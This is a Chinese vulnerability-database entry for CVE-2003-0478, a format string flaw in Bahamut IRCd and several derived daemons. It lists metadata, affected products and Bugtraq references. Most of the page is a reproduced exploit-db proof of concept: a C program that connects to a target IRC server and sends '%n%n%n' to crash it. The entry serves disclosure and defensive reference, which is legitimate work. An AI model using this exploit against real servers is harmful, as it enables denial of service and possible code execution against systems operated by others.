Bahamut IRCd和IRC守护进程格式串漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1107399 漏洞类型 格式化字符串
发布时间 2003-06-27 更新时间 2003-08-07
CVE编号 CVE-2003-0478 CNNVD-ID CNNVD-200308-011
漏洞平台 Linux CVSS评分 10.0
|漏洞来源
https://www.exploit-db.com/exploits/22839
https://www.securityfocus.com/bid/87457
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200308-011
|漏洞详情
(1)BahamutIRCd1.4.35及其早期版本和其他基于Bahamut的IRC守护进程,包括(2)digatech1.2.1版本,(3)methane0.1.1版本,(4)AndromedeIRCd1.2.3-Release,和(5)ircd-RU中存在格式串漏洞。远程攻击者借助包含格式串的请求导致服务拒绝且可能执行任意代码。
|漏洞EXP
source: http://www.securityfocus.com/bid/8038/info

Behamut IRCd has been reported prone to remotely exploitable format string vulnerability.

The issue presents itself when Behamut is compiled with DEBUGMODE defined. Reportedly a remote attacker may send malicious format specifiers to trigger an error. By passing specially crafted format specifiers through the IRC session, a remote attacker could potentially corrupt process memory and may have the ability to execute arbitrary code with the privileges of the affected daemon.

It should be noted that IRC daemons that are derived from the Behamut source have also been reported vulnerable.

/*
 * Irc crash for bahamut servers based on http://www.securityfocus.com/archive/1/326917/2003-06-24/2003-06-30/0
 * Bahamut IRCd <= 1.4.35
 * - Dinos nagash@compulink.gr 27/06/03
 */

#include <stdio.h>              /* for printf() */
#include <sys/socket.h>         /* for socket(), connect(), send() and recv() */
#include <arpa/inet.h>          /* for sockaddr_in inet_addr() */
#include <stdlib.h>             /* for atoi() */
#include <unistd.h>             /* for close() */
#include <fcntl.h>              /* for fcntl() */
#include <sys/file.h>           /* for O_NONBLOCK and FASYNC */
#include <sys/time.h>           /* for timeval */
#include <errno.h>              /* for errno and EINPROGRESS */
#include <netdb.h>              /* for gethostbyname */

unsigned long resolv_name(char name[])
{
   struct hostent   *host;              /* structure containing host information */

   if ( (host = gethostbyname(name)) == NULL )
   {
        printf("gethostbyname() failed\n");
        exit(1);
   }
   /* returing the binary, network-byte-ordered address */
   return *( (unsigned long *) host->h_addr_list[0] );
}


int main (int argc, char *argv[])
{
   int sock;                    /* socket descriptor */
   int retval;                  /* return value from connect() */
   struct sockaddr_in ServAddr; /* socks's server address */
   char *servIP;                /* server IP address */
   char *socksbuf;              /* send buffer */
   unsigned short ServPort;     /* socks server port */
   struct timeval tv;           /* timeout values */
   unsigned int len;            /* message length */
   fd_set sockSet;              /* set of socket description */
   unsigned long theip;         /* the ip */
   fd_set setit;                /* fd settings for select() */
   int i;

   if ( argc < 2 )
   {
        printf("Irc Crash \n");
        printf("Usage:");
        printf("./ircc <irc-server> <port>\n");
        exit(1);
   }

   servIP = argv[1];
   ServPort = atoi(argv[2]);

   if ( ( sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ) < 0 )
        return -1;      /* There is no socket for us :( */

   memset(&ServAddr, 0, sizeof(ServAddr));
   ServAddr.sin_family          = AF_INET;
   ServAddr.sin_addr.s_addr     = resolv_name(servIP);  /* irc-server ip */
   ServAddr.sin_port            = htons(ServPort);      /* port */


   if ( connect(sock, (struct sockaddr *)&ServAddr, sizeof(ServAddr)) == 0 ) {
        printf("Connected...\n");
   }
   else {
        printf("Error connecting to the ircserver\n");
        close(sock);
        exit(1);
   }
   sleep(1); /* just sleep */
   memset(&socksbuf, 0, sizeof(socksbuf));
   socksbuf = "%n%n%n";
   printf("Sending buffer %s\n",socksbuf);
   i = send(sock, socksbuf, 7, 0);
   if (i <0) {
        printf ("Error sending buffer\n");
        close(sock);
        return -1;
   }

   printf("Buffer send\n");

   close(sock);
   return 0;
}
|受影响的产品
Wenet Ircd-Ru 0 Hans Westerhof Digatech 1.2.1 Daniel Moss Methane 0.1.1 Bahamut Ircd 1.4.35 Andromede Adromedeircd 1.2.3
|参考资料

来源:BUGTRAQ
名称:20030626BahamutIRCd<=1.4.35andseveralderiveddaemons
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=105665996104723&w=2
来源:BUGTRAQ
名称:20030627BahamutDoS
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=105673555726823&w=2
来源:BUGTRAQ
名称:20030627BahamutDoS
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=105673555726823&w=2
来源:BUGTRAQ
名称:20030627Re:BahamutIRCd<=1.4.35andseveralderiveddaemons
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=105673489525906&w=2
来源:BUGTRAQ
名称:20030627Re:BahamutIRCd<=1.4.35andseveralderiveddaemons
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=105673489525906&w=2
来源:BUGTRAQ
名称:20030626BahamutIRCd<=1.4.35andseveralderiveddaemons
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=105665996104723&w=2